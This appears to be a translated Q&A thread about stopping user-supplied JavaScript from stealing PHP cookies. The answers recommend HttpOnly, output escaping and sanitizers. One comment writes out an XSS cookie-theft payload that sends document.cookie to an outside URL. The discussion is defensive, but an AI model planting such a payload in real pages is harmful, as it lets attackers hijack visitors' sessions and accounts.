2011-08-17 35 views
0

我有一個腳本(由我編程),在這個腳本中,訪問者可以註冊並登錄(用戶信息存儲在cookie中)...註冊後,他們可以編輯他們的個人頁面。問題:這個頁面接受javascript代碼和任何人都可以使用document.cookie獲得cookie:(如何在用戶頁面上保護我的PHP Cookie不受JavaScript影響?

我嘗試創建正則表達式來清理用戶頁面中的document.cookie標記,但它不是很好的解決方案,因爲用戶可以將:<script src="filejs.js"></script>並寫入filejs .js例如此代碼alert(document.cookie);,此代碼將找不到清除....

會話保存但它不是很長時間保存(time()+60*24*300):(

謝謝。

回答

1

你爲什麼要阻止用戶看到他們自己的cookie?他們已經可以將餅乾存儲在他們的電腦上。

如果你想防止有人把腳本到您的網頁,使用strip_tags從輸入刪除HTML,或htmlspecialchars以顯示它爲純文本。

+0

是的,但他們可以把聊天框不保存,例如你在這樣的聊天中寫新消息: document.location =「http://yoursite.com/index.php?cookie="+document.cookie ; 用戶cookie插入您的網站,您可以訪問他的帳戶:s –

1

讓用戶在頁面中包含JavaScript是非常困難的。您無法通過正則表達式自行實現此功能。您需要使用像Google's Caja project這樣的重量級解決方案。

除了其他安全問題,您可以保護您的Cookie從JavaScript by using the HttpOnly flag。您可以通過passing setcookie() a true value for the $httponly argument在PHP中使用它。

+0

如果我設置httponly = true,用戶無法使用JavaScript獲取cookie。 –

+0

@Davidcoder:是的,但只有在較新的瀏覽器中,它在舊版瀏覽器中不起作用。沒有Caja之類的東西,除了竊取cookie之外,還有其他方法可以破壞您的網站。 –

+0

確定 我將使用會話來保存只有密碼和cookie用於保存用戶名和編輯會話使用時間到一小時 $ _COOKIE [「用戶名」] $ _SESSION [「密碼」] 它是保存嗎? –

1

防止javascript訪問cookie的最佳方法是在cookie上設置HttpOnly標誌。在PHP中,這可以使用session.cookie-httponly ini指令應用於會話cookie。如果您使用setcookie()設置cookie,則可以將可選$httponly參數設置爲TRUE

0

你不能阻止用戶查看自己的個人資料 - 即使你刪除所有HTML等

所有他們需要的是Firefox的活HTTP標頭。正如另一張海報所提到的 - 爲什麼在給他們的時候把餅乾從他們身上剔除掉?

0

註冊後,他們可以編輯自己的個人網頁..的probleme:此頁面接受JavaScript代碼...

所以解決這個問題(例如,通過使用HTML消毒劑,或通過使用標記語言不是HTML)。你所描述的不是一個功能 - 這是一個嚴重的安全漏洞 - 它不能通過調整你的會話來有效地結束。這相當於重新安排泰坦尼克號的甲板椅。

相關問題